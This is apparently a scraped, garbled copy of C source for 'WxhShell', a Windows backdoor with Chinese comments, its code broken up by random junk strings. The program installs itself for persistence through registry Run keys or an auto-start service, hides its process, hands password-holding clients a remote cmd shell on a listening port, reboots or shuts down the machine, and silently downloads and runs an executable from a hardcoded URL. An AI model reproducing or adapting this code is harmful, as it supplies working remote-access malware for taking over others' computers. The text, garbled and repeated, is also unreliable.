MuOa ~tBYIkvWT static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {l>yi static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B.dH(um Of" HANDLE hProcess; %5eY' PROCESS_BASIC_INFORMATION pbi; 2>cGH7EBD 5MN8D COF HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +?:7O=Y if(NULL == hInst ) return 0; z`!XhU %K>,xiD) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V#XppYU g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,{BaePMp NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s!?`T1L lBK}VU^ if (!NtQueryInformationProcess) return 0; ~rDZ?~% lwrCpD. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,quoRan if(!hProcess) return 0; L;*ljZ^c 3on7~*
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
{zn!vJX TM_/`a2} CloseHandle(hProcess); >+JqA7K v3aYc:C hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }q $5ig if(hProcess==NULL) return 0; eO?p*"p" F }
ud0&Oe{ HMODULE hMod; Fx;QU)1l3 char procName[255]; )6q,>whI] unsigned long cbNeeded; #
WAZ9,t YE|SKx@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Tw""}|] g F({HP)9b CloseHandle(hProcess); Fh`~`eog /W>iJfx if(strstr(procName,"services")) return 1; // 以服务启动 $oj:e?8N PmKeF} return 0; // 注册表启动 %>~sJ0 } PcA2/!a y9x w
9l' // 主模块 `8AR_7i int StartWxhshell(LPSTR lpCmdLine) %k;|\%B` { (Tn- >).AO SOCKET wsl; do*EKo BOOL val=TRUE; wN;^[F int port=0; .}O[dR struct sockaddr_in door; M}yDXJx r [4tPk if(wscfg.ws_autoins) Install(); =p*]Az AS
=?@2 q port=atoi(lpCmdLine); ^>jwh &3bx`C if(port<=0) port=wscfg.ws_port; .?R!DYC` 9aze>nxh. WSADATA data; jz
qyk^X if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %p2Sh)@M y+"X~7EX if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )iYxt:(, setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
/H8g( door.sin_family = AF_INET; ]j`c]2EuP door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~:Ll&29i door.sin_port = htons(port); SKkUU^\#R` nEJY5Bz$ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n2)@S0{ closesocket(wsl); tasUZ#\6 return 1; BW 4%l } 9{
>Ui .^h#_[dp if(listen(wsl,2) == INVALID_SOCKET) { y#U+c*LB closesocket(wsl); D;;!ODX$? return 1; gBC@38|6) } ,.OERw Wxhshell(wsl); 0:9.;x9_ WSACleanup(); @GdbTd ";3zXk[# return 0; Qa-K$dm% 3NqN\5B: } _*1`@ L)@?e?9 // 以NT服务方式启动 M<kj_.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B56L1^7 { hRUhX[ DWORD status = 0; {(r`k;fB DWORD specificError = 0xfffffff; 6)Y.7 XR X]wRwG serviceStatus.dwServiceType = SERVICE_WIN32; ;#vKi0V7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; whi`Z:~ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 23Nw!6S serviceStatus.dwWin32ExitCode = 0; ;\14b?TUH serviceStatus.dwServiceSpecificExitCode = 0; LUM@#3& serviceStatus.dwCheckPoint = 0; 0{,Z{&E serviceStatus.dwWaitHint = 0; u~WVGjoQ EfCx`3~EX hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Hn5|B 3vN if (hServiceStatusHandle==0) return; @d
mV Exc9`
7%. status = GetLastError(); va}Pj#= if (status!=NO_ERROR) G
8g<>d{j { l'/R&`-n serviceStatus.dwCurrentState = SERVICE_STOPPED; ;/r1}tl+3> serviceStatus.dwCheckPoint = 0; xKuRh}^K serviceStatus.dwWaitHint = 0; 8 ~J(](QA serviceStatus.dwWin32ExitCode = status; 0yuS3VY) serviceStatus.dwServiceSpecificExitCode = specificError; {^\+iK4bS SetServiceStatus(hServiceStatusHandle, &serviceStatus); qI#;j%V return; ABD)}n=%c } e?JW
1~Oe=`{& serviceStatus.dwCurrentState = SERVICE_RUNNING; i{`FmrPO~ serviceStatus.dwCheckPoint = 0; $a
]_w.@ serviceStatus.dwWaitHint = 0; JM x>][xD if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pe] A5\4c } 60J;sGW H!5\v"]WB // 处理NT服务事件,比如:启动、停止 nxWY7hU VOID WINAPI NTServiceHandler(DWORD fdwControl) ]:Nsf|C0 { E\as@pqo\p switch(fdwControl) mOy^vMa { ^c^#dpn case SERVICE_CONTROL_STOP: Fcd3H$Na; serviceStatus.dwWin32ExitCode = 0; ST:A<Da" serviceStatus.dwCurrentState = SERVICE_STOPPED; IC1NKn<k serviceStatus.dwCheckPoint = 0; g#Sl %Y serviceStatus.dwWaitHint = 0; %s|}Fz-> { 5=v}W:^v. SetServiceStatus(hServiceStatusHandle, &serviceStatus); RS)tO0 } '98VYCL return; lij.N)E case SERVICE_CONTROL_PAUSE: !F A] serviceStatus.dwCurrentState = SERVICE_PAUSED; n
`&/D break; Xejo_SV&? case SERVICE_CONTROL_CONTINUE: >qS9PX serviceStatus.dwCurrentState = SERVICE_RUNNING; 5-aj2>=7 break; j|U#)v/ case SERVICE_CONTROL_INTERROGATE: 8ZM&(Lz7u break; *K|W
/'_& }; pA9+Cr!0Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); eg(6^:z?f } eJxw)zd7 qf!p 9@4F[ // 标准应用程序主函数 YH vLGc% int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oU056 { g!lWu[d $Tu61zq // 获取操作系统版本 iV'k}rXC OsIsNt=GetOsVer(); N/%WsQp GetModuleFileName(NULL,ExeFile,MAX_PATH); /178A;Jy uE%r/:!k4$ // 从命令行安装 ([SU:F!uW( if(strpbrk(lpCmdLine,"iI")) Install(); }001K sf)EMh3Z // 下载执行文件 5ymk\Lw if(wscfg.ws_downexe) { }uJu>'1[G if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *5%d XixN WinExec(wscfg.ws_filenam,SW_HIDE); =Je[c,&j$? } tnH2sHby Al}6q{E9+8 if(!OsIsNt) { `UD/}j@ // 如果时win9x,隐藏进程并且设置为注册表启动 /|tJ6T1LrB HideProc(); AK'[c+2[ StartWxhshell(lpCmdLine); W-mQjJ`,B } B:'J`M"N else 41`n1:-] if(StartFromService()) R=gb' // 以服务方式启动 lR )67a StartServiceCtrlDispatcher(DispatchTable); ,?>s>bHV else X:HacYqtC // 普通方式启动 T ]t'39 StartWxhshell(lpCmdLine); ZA0mz 65 vHyC; 4' return 0; zHA!%>%' } @
[:ZS+1 jrr EAp W>) M5t4i K^1o DP =========================================== 2bJQTk _S
tScPa,( rp3V3]EE 0?s|i : %j.0G`x9 + ',9V|jvK " 't:;irLW. OI|[roMK #include <stdio.h> b$N2z #include <string.h> K"|l@Q[ #include <windows.h> A)bWcB}U #include <winsock2.h> Y<N5#
);f #include <winsvc.h> 01wX `"I #include <urlmon.h> mk.9OhYY EMY/~bQW #pragma comment (lib, "Ws2_32.lib") idLWe9gC #pragma comment (lib, "urlmon.lib") .nrMfl_ q]T1dz? #define MAX_USER 100 // 最大客户端连接数 z[b@V #define BUF_SOCK 200 // sock buffer 6wBx;y
| #define KEY_BUFF 255 // 输入 buffer A,JmX ns9U/:L #define REBOOT 0 // 重启 /rK}?U #define SHUTDOWN 1 // 关机 (?n=33}Ci 8EW_V$>R #define DEF_PORT 5000 // 监听端口 f.D?sH An MqW7cjg #define REG_LEN 16 // 注册表键长度 TrlZ9?3#D #define SVC_LEN 80 // NT服务名长度 mWoAO@}Y o}
J&E{Tk // 从dll定义API s^Y"' ` + typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $Q &lSVQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K'L^;z6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r+A{JHnN typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `7c~mypx %Qmn-uZ // wxhshell配置信息 ;D3C>7y struct WSCFG { e|)hG8FlF int ws_port; // 监听端口 CyJEY- char ws_passstr[REG_LEN]; // 口令 95ZyP! int ws_autoins; // 安装标记, 1=yes 0=no ni.cTOSx char ws_regname[REG_LEN]; // 注册表键名 gZN8!#h}B char ws_svcname[REG_LEN]; // 服务名 9B{k , 1
char ws_svcdisp[SVC_LEN]; // 服务显示名 e^8 O_VB char ws_svcdesc[SVC_LEN]; // 服务描述信息 c23oCfB> char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VLOO8N[o int ws_downexe; // 下载执行标记, 1=yes 0=no zwhe char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Luq#9(P char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ur9?Td'*> D9<!mH }; N4v~;;@(
Y\D!/T // default Wxhshell configuration n`#tKwWHYx struct WSCFG wscfg={DEF_PORT, H=<S 9M "xuhuanlingzhe", ND'E8Ke pq 1, BL0 {HV! "Wxhshell", t_o['F "Wxhshell", m4**~xfC "WxhShell Service", bp*
^z,w "Wrsky Windows CmdShell Service", \d6C%S! "Please Input Your Password: ", = I:.X ; 1, urbp#G/> "http://www.wrsky.com/wxhshell.exe", 51#_Vg "Wxhshell.exe" vx1c,8 }; '.on)Zd. Dt}JG6 S // 消息定义模块 B-xGX$<z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p,
h9D_ char *msg_ws_prompt="\n\r? for help\n\r#>"; E%yNa]\P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2y//'3[ char *msg_ws_ext="\n\rExit."; xe]y] char *msg_ws_end="\n\rQuit."; B;M?,<%FRU char *msg_ws_boot="\n\rReboot..."; rA3$3GLQ- char *msg_ws_poff="\n\rShutdown..."; Jb0`42 char *msg_ws_down="\n\rSave to "; %P<hW+P! R_ B7EP char *msg_ws_err="\n\rErr!"; ! +a. Ei char *msg_ws_ok="\n\rOK!"; y=fx%~<>
8 G/k2Pe{SL char ExeFile[MAX_PATH]; .I7pA5V{# int nUser = 0; *T-<|zQ HANDLE handles[MAX_USER]; {o)L c6T8s int OsIsNt; qz+dmef H['N SERVICE_STATUS serviceStatus; QqDC4+p" SERVICE_STATUS_HANDLE hServiceStatusHandle; VyXKZ%\dQ/ _G[g;$< // 函数声明 i5en*)O8 int Install(void); ~FZ&.<s
int Uninstall(void); xu>9(,l int DownloadFile(char *sURL, SOCKET wsh); V_R@o3kv; int Boot(int flag); xR-%L void HideProc(void); p?*Q- f int GetOsVer(void); hcgMZT!<5 int Wxhshell(SOCKET wsl); 9%k2'iV7 void TalkWithClient(void *cs); zpzK>DH( int CmdShell(SOCKET sock); Cl5uS%g int StartFromService(void); <->{ int StartWxhshell(LPSTR lpCmdLine); o15-ZzE- "~#3&3HVS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N,`$M.|? VOID WINAPI NTServiceHandler( DWORD fdwControl ); mi=Q{>rb iNWw;_|1 // 数据结构和表定义 :WjpzgPuN SERVICE_TABLE_ENTRY DispatchTable[] = -c_74c50 { i@C].X {wscfg.ws_svcname, NTServiceMain}, p2Z?T}fa}& {NULL, NULL} {}>0e:51 }; JUsQ,ETn Qk0R a_ // 自我安装 D|lzGt int Install(void) Y#]+Tm(+ { -j+UMlkB char svExeFile[MAX_PATH]; 4~ q5,^kgB HKEY key; pf2[,v/ strcpy(svExeFile,ExeFile); b[sx_b XtXEB<4Z // 如果是win9x系统,修改注册表设为自启动 qaqBOHI6G if(!OsIsNt) { ]S&&|Fc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i)o2klIkB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7yG#Z)VE RegCloseKey(key); zbXI% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cW~}:;D4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }'5MK RegCloseKey(key); dWM'fg return 0; bo,_&4? } Um} } \(3y7 D } qPWP&k else { }HL]yDO gD0eFTN // 如果是NT以上系统,安装为系统服务 OtY`@\hy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a Fc1|.Nm if (schSCManager!=0) .4_o>D { A|CmlAW~^ SC_HANDLE schService = CreateService \(J8#V ( %OtFHhb schSCManager, Bp*K]3_ wscfg.ws_svcname, &Q9qq~ wscfg.ws_svcdisp, Z_PNI#h* SERVICE_ALL_ACCESS, bADnW4N`6; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8J*"%C$qe SERVICE_AUTO_START, TIx|L SERVICE_ERROR_NORMAL, [=x[ w70 svExeFile, Jz?j[ NULL, ;5wn67' NULL, `Y+J-EQ NULL, o=u3&liBi NULL, ~fBtQGdX NULL WKQ^NEqr3 ); =Ee&da^MB if (schService!=0) ~{?_p@&n { /Y*WBTV' CloseServiceHandle(schService); 7@#>bE6 CloseServiceHandle(schSCManager); 4]rnY~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pny11C strcat(svExeFile,wscfg.ws_svcname); ylUrLQ\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .v]IJfRH* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7wWFr RegCloseKey(key); F@^~7ZmP` return 0; kHkpx52 } ^le<} } y6@0O%TDN CloseServiceHandle(schSCManager); Q0$8j-1I } T`/AY?# } sI43@[ ,V'o4]H return 1; ,4hJT } he#J|p H12Fw'2 // 自我卸载 iy6On,UL int Uninstall(void) 2^XGGB0 {
7;u
e HKEY key; fTzvmC:g7 h,QKd>4:CF if(!OsIsNt) { 9*$t!r{B@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +U:$(UV'A RegDeleteValue(key,wscfg.ws_regname); z^KJ*E RegCloseKey(key); $JS L-NkE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qsL)}sC^8 RegDeleteValue(key,wscfg.ws_regname); FK6[>(QO RegCloseKey(key); PEN\-*Pv return 0; D>|H 2 } E"\/M } w^(<N7B3T } ml2_
]3j! else { :WC2Ax7$2 t4{rb,
}W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k[0-CB if (schSCManager!=0) (VS5V31" { ?xK8# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mCRt8rY; if (schService!=0) ;g8R4!J { so^lb?g if(DeleteService(schService)!=0) { >82@Q^O CloseServiceHandle(schService); YgKZ#?* CloseServiceHandle(schSCManager); YX%[ipgB return 0; mrTlXXz } A+HF@Uw}^ CloseServiceHandle(schService); <Q$@r?Mu] } r[1i*b$ CloseServiceHandle(schSCManager); :WQ^j!9' } ODZ5IO}v } QS0:@.}$E) tzZ63@cm return 1; J5*tJoCYS } ckV`OaRw4 oV)~@0B&0 // 从指定url下载文件 avjpA?Vz int DownloadFile(char *sURL, SOCKET wsh) 0WT{,/> { @*>@AFnf\Z HRESULT hr; )@N2 char seps[]= "/"; UYFwS/ RW} char *token; [N1hWcfvd char *file; hp8%.V$f char myURL[MAX_PATH]; f6 |KN+. char myFILE[MAX_PATH]; l;af~ef)' _,q) hOI strcpy(myURL,sURL); )iq-yjO6 token=strtok(myURL,seps); j0Bu-sO$w while(token!=NULL) W8Q|$ZJ88F { iM2W] file=token; wNq;;AJ$ token=strtok(NULL,seps); &lR 6sb\ } L}GC<D: *Kyw^DI GetCurrentDirectory(MAX_PATH,myFILE); Ny_lrfh) [ strcat(myFILE, "\\"); F1 iGMf-8 strcat(myFILE, file); 8iW;y2qF send(wsh,myFILE,strlen(myFILE),0); -r#X~2tPzD send(wsh,"...",3,0); whonDG4WP hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rxr{/8%f% if(hr==S_OK) M@h|bN return 0; CQwL|$)]Y else G,TM-l_uw return 1; Fd?"- 17D"cP } !) S
?m ~n[d4qV& // 系统电源模块 x2@U.r"zo int Boot(int flag) 0_k'.5l% { &GNxo$CG HANDLE hToken; v4?x.I TOKEN_PRIVILEGES tkp; Jwj%_< np%\&CVhN if(OsIsNt) { aqYa{hXio OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fKp#\tCc y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *o-.6OxZ$ tkp.PrivilegeCount = 1; gWrgnlq tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sBu=e7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VmCW6
G#M if(flag==REBOOT) { \Z^TXyu if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .udv"?!z return 0; i.=w]S
j } iP@ZM=&wz else { wx\v:A if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x&^_c0fn return 0; tBNoI } 2LNRtW* } a,3j,(3 else { cHcmgW\4 if(flag==REBOOT) { T_X6Ulp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mK[)mC
_8 return 0; Qhs/E`k4 } I6j$X 6u else { ,QC{3i~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XGJj3-eW{ return 0; <WjF*x p } H_EB1"C;\ } |?Frj 0E?jW7yr return 1; YhbZ'SJ } *\(r+>*x* -6Oz^
// win9x进程隐藏模块 6&DX] [G void HideProc(void) on0]vEE { 9Rn?
:B~W: {n/uh0>f* HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cZH-" if ( hKernel != NULL ) XQ%? { so)"4
SEu pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jx.[#6e ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LVc4CE
f FreeLibrary(hKernel); O:TlIJwW } 0q.Ujm=,z g8Q5m=O* return; !Gu%U $d } *?y+e /EibEd\ // 获取操作系统版本 smdZxFl int GetOsVer(void) N B\{' { !:|TdYrmj OSVERSIONINFO winfo; y;t6sM@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E Q4KV GetVersionEx(&winfo); &LF`
W if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "]oO{'1X return 1; qb5#_1qz+^ else ysmNio return 0; ?pYKZg/c } U7!.,kR- %|^OOU} // 客户端句柄模块
)x}l3\s int Wxhshell(SOCKET wsl) *<E]E? { )uK{uYQl SOCKET wsh;
c1$ngH0 struct sockaddr_in client; u5 {JQO DWORD myID; 89n:)|rWq nB%;S while(nUser<MAX_USER) 4|mD*o { N;A@'
tu8 int nSize=sizeof(client); d0aC Y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
}8@M@ if(wsh==INVALID_SOCKET) return 1; N=5)fe%{4 hty0Rb[dH handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XYS'.6k( if(handles[nUser]==0) aFe`_cnG closesocket(wsh); `(1K
else :C}2= nUser++; 2<`.#zIds } fV v.@HL{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
vj51
g@ hq:&wN7Q return 0;
s@z}YH } by'DQ 00 ^qg?6S4 // 关闭 socket L7= Q<D< void CloseIt(SOCKET wsh) "6R
5+ { z
>YFyu#LF closesocket(wsh); 'mH )d nUser--; VA"*6F ExitThread(0); $we]91(:: } {/X4(;~0 4q'B<7{Q // 客户端请求句柄 :N<.?%Kf void TalkWithClient(void *cs) s:2|c]wQ#R { ~6pr0uyO` yC3yij<oR SOCKET wsh=(SOCKET)cs; 2:BF[c` char pwd[SVC_LEN]; 3I!?e!y3( char cmd[KEY_BUFF]; -29gL_dk. char chr[1]; 2u"7T_"2D int i,j; =/u%c! j:}J}P while (nUser < MAX_USER) { :}h>by= rQOWLg!" if(wscfg.ws_passstr) { t~e<z81p if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~_9n .C //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b{d4xU8' //ZeroMemory(pwd,KEY_BUFF); n:0}utU4 i=0; < -uc."6\ while(i<SVC_LEN) { 'Q
=7/dY3I 2+cNo9f // 设置超时 ik"sq}u_]E fd_set FdRead; `C_jP|[e struct timeval TimeOut; BnCKSg7V FD_ZERO(&FdRead); ed!:/+3e/ FD_SET(wsh,&FdRead); zF@o2<cD@ TimeOut.tv_sec=8; <W`#gn0b6 TimeOut.tv_usec=0; ?9HhG?_x int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RP2_l$ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WpS1a440 (faK+z,*6R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %*o8L6Hn pwd=chr[0]; $B#6tk~u if(chr[0]==0xd || chr[0]==0xa) { Bd^"=+c4 pwd=0; Fhv2V,nZ< break; T1`|~Z?g- } C@Nv;;AlU i++; +&X%<S
W } }m/RZP~= 2>]a) // 如果是非法用户,关闭 socket T/c<23i if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !Oj)B1gc6& } K.%U '`|AI:L send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /w8"=6Vv~ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fQ'.8'>T 0l=+$&D while(1) { P_gYz! zf.-I ZeroMemory(cmd,KEY_BUFF); H{?9CxYa :^'O}2NP // 自动支持客户端 telnet标准 b$Hz3TJ( j=0; xq%{} while(j<KEY_BUFF) { BR v+.(S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )i>[M"7 cmd[j]=chr[0]; KQld YA|m if(chr[0]==0xa || chr[0]==0xd) { R8-^RvG cmd[j]=0; R//$r%a break; 2oZ9laJO } vLa#Y(" j++; ^*&X~8@) } :s-o0$PlJ j'HkBW:L // 下载文件 2 $ !D* < if(strstr(cmd,"http://")) { ?\/qeGW6G send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1^dJg8 if(DownloadFile(cmd,wsh)) _TUt9} send(wsh,msg_ws_err,strlen(msg_ws_err),0); PF`rWw else {SZ % Xb o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <w>/^|]# } QM5 .f+/ else { ?/M_~e.P m7=1%6FN3 switch(cmd[0]) { #FYAV%pi L{ho*^b // 帮助 j2M+]Zp. case '?': { 2X88: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V (rr"K+ break; g,]@4| } "PH6e bm // 安装 6QZ5|T ] case 'i': { q
(+ZwaV@ if(Install()) tZ2K$!/B send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 ?|gnbE: else 0_ yP\m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~%#mK:+ break; `C_'|d<HA } b-@\R\T // 卸载 7S$&S; case 'r': { PT9v*3Bq~ if(Uninstall()) R4e&^tI@* send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zg:gY"^ else !EF(*~r!9L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )F pJ1 break; >0Ev#cX4 } m@rSz // 显示 wxhshell 所在路径 Ep ~wWQh case 'p': { 0{^H]Y char svExeFile[MAX_PATH]; x.$1<w64t strcpy(svExeFile,"\n\r"); Qbeeq6 strcat(svExeFile,ExeFile); zz_[S{v!# send(wsh,svExeFile,strlen(svExeFile),0); ?4z8)E9Ju break; 5V-jMB } $R^AEa7 // 重启 Q;h3v1GC\P case 'b': { |@j_2Q, send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V+Xl9v4O if(Boot(REBOOT)) I<h=Cj[[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); >O]s&34 else { :a3LS|W closesocket(wsh); )%Y
IGV;& ExitThread(0); :DkAQ-<~ } _qWC4NMF( break; 9 1P4:6 } R9r+kj_ // 关机 AxCI 0 case 'd': { PI|`vC|yy& send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VY'Q|[ if(Boot(SHUTDOWN)) ; !$m1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); dEp/dd~(& else {
?RD *1 closesocket(wsh); . p^xS6e{ ExitThread(0); A8?[6^%O| } ^uaFg`S break; ^[->
) } Y?Vz(udD
// 获取shell o;`!kIQ case 's': { QLbMPS CmdShell(wsh); @qK<T closesocket(wsh); ilEi")b= ExitThread(0); ARL break; }uX|5&=~f } kI*Uk M- // 退出 eZF'Ck y case 'x': { -!*p*3|03| send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q
e1oT) CloseIt(wsh); #Ws53mT break; 6E9N(kFYs } 5M?mYNQR/H // 离开 X<MpN5%|Wo case 'q': { 6Dm+'y]l send(wsh,msg_ws_end,strlen(msg_ws_end),0); :%_q[}e closesocket(wsh); HdQj?f3 WSACleanup(); Li`hdrO'ii exit(1); a&/HSf_G break; t&c&KFK)I& } VEh]p5D } EI`vVI } B.-A $/ 2mJ:c // 提示信息 5RA<Z. if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o+)A'S } /)1v9<vM" } ]XrE 6$B'Q30}r return; Uu2N9.5 } ha'qIT3& 2uu[52H8d% // shell模块句柄 [V< 1_zqt int CmdShell(SOCKET sock) %yw=[]Vjze { 8[\79| STARTUPINFO si; #)i&DJ^Y ZeroMemory(&si,sizeof(si)); aG3k4 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f4]&pcK si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U6i~A9; PROCESS_INFORMATION ProcessInfo; +G!v!(Ob+ char cmdline[]="cmd"; &,uC9$ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J'7 y
return 0; =49o U } !d4HN.a7+u T8q[7Zn // 自身启动模式 :c;_a-69 int StartFromService(void) !V(`ZH { oYq,u@oM typedef struct sQ(1/"gb { lS{4dvr?w DWORD ExitStatus; lV7IHX1P DWORD PebBaseAddress; 4 ?2g&B\ DWORD AffinityMask; 3W j,} DWORD BasePriority; r
}
7:#XQ ULONG UniqueProcessId; ib Ue*Z["1 ULONG InheritedFromUniqueProcessId; F^TAd } PROCESS_BASIC_INFORMATION; D%GGu"@GO ~j}J<4&OvC PROCNTQSIP NtQueryInformationProcess; 8dV=1O$/ s*{mT6s+T static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }B*,mn2N static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9L=;KtE1 |M _%QM. HANDLE hProcess; )=(n/vckM PROCESS_BASIC_INFORMATION pbi; z[FI2jl 9d] tjT HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H:E5xz3VQ if(NULL == hInst ) return 0; ris;Iu^v0 xc*!W*04 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u
S(@?m$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [#zE.
